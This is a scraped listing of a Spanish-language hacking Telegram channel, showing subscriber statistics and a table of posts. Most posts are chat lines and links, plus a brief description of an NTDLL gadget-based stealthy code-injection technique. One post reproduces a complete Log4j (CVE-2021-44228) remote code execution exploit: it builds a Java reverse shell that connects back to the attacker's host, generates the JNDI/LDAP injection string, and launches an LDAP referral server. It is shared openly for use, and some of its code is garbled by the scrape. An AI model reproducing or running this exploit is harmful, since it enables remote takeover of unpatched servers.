ӉѦСҠіИԌ ҬЄѦӍ ԌГԱթѺ ѺҒҒіСіѦL
Open in Telegram
Hacking y Seguridad Esta es la normativa implantada en el grupo:🚫 No está permitida ninguna acción excesiva (flood, spam, etc.).🚫 Está prohibido compartir enlaces ajenos y/o que no tengan referencia con Hacking Team.🚫 Nada de Cuentas rrss,credito,tv
Show moreThe country is not specifiedThe category is not specified
2 683
Subscribers
No data24 hours
No data7 days
No data30 days
Data loading in progress...
Similar Channels
No data
Any problems? Please refresh the page or contact our support manager.
Tags Cloud
No data
Any problems? Please refresh the page or contact our support manager.
Incoming and Outgoing Mentions
---
---
---
---
---
---
Attracting Subscribers
No data
Any problems? Please refresh the page or contact our support manager.
Channel Posts
| 2 | /ban | 0 |
| 3 | Nueva entrada en el blog THW https://thehackerway.com/2021/09/13/network-hacking-con-impacket-parte-6/ | 0 |
| 4 | 🔥🔥🔥Examining OpenSSH Sandboxing and Privilege Separation – Attack Surface Analysis
This blog post provides an in-depth analysis of OpenSSH’s attack surface and security measures:
💾 How does OpenSSH implement Privilege Separation?
💾 OpenSSH Privilege Separation – In-Depth Analysis
💾 What is the OpenSSH Sandbox?
💾 OpenSSH Sandbox – In-Depth Analysis
💾 Conclusion – Don’t mess with the defaults! | 0 |
| 5 | https://www.facebook.com/groups/hackingteamoficial | 0 |
| 6 | # Exploit Title: Apache Log4j 2 - Remote Code Execution (RCE)
# Exploit Authors: kozmer, z9fr, svmorris
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Software Link: https://github.com/apache/logging-log4j2
# Version: versions 2.0-beta-9 and 2.14.1.
# Tested on: Linux
# CVE: CVE-2021-44228
# Github repo: https://github.com/kozmer/log4j-shell-poc
import subprocess
import os
import sys
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version']) #stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
print("\n")
userip = input("[+] Enter IP for LDAPRefServer & Shell: ")
userport = input("[+] Enter listener port for LDAPRefServer: ")
lport = input("[+] Set listener port for shell: ")
def payload():
javapayload = ("""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""") % (userip,lport)
f = open("Exploit.java", "w")
f.write(javapayload)
f.close()
os.system('./jdk1.8.0_20/bin/javac Exploit.java')
sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
print("[+] Send me: "+sendme+"\n")
def marshalsec():
os.system("./jdk1.8.0_20/bin/java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://{}:{}/#Exploit".format
(userip, userport))
if name== "main":
payload()
marshalsec()
# 0day.today [2021-12-14] # | 0 |
| 7 | Y bueno si nadie dice un carajo como voy a saber | 0 |
| 8 | #cehv12 | 0 |
| 9 | Entonces solo tendrías que crear sesiones sdp desde el dispositivo que quieras conectarte, por ejemplo vlc te permite hacer algo asi | 0 |
| 10 | Bilbao | 0 |
| 11 | Thank bro | 0 |
| 12 | 🔥🔥🔥 NtQueueApcThreadEx NTDLL Gadget Injection is a novel way of using NtQueueApcThreadEx by abusing the ApcRoutine and SystemArgument[0-3] parameters by passing a random pop r32; ret gadget can be used for stealthy code injection. Within this PoC, the gadget in this case is picked randomly from ntdll.dll's memory region which matches a specific pattern. This means the gadget returns into the shellcode.
🔖Raspberry Robin’s Roshtyak: A Little Lesson in Trickery | 0 |
| 13 | Some Great Cybersecurity & Hacking Documentaries Recommendations
#CyberSecurity #Hack #infosec | 0 |
| 14 | https://github.com/CyberSecurityUP/OSCE-Complete-Guidep | 0 |
| 15 | Luego va a salir por ahí 😂😅 | 0 |
| 16 | DOOM Captcha
https://github.com/vivirenremoto/doomcaptcha
Demostración: https://vivirenremoto.github.io/doomcaptcha/
Autor: https://github.com/vivirenremoto/doomcaptcha/graphs/contributors
====================
Si encuentra software interesante, compártalo con la comunidad | 0 |
| 17 | Con. Algun programa | 0 |
| 18 | Dominar Burp Suite Pro https://cb.run/Wmmu | 0 |
| 19 | Y el ejemplo... Es simple.. Un if... Es igual para todos los leguajes... Cambia la sintaxis... Si!!! Pero el concepto de condicion es siempre la misma... | 0 |
| 20 | 😂😂😂 Uno más, vámonos, bye bye. | 0 |
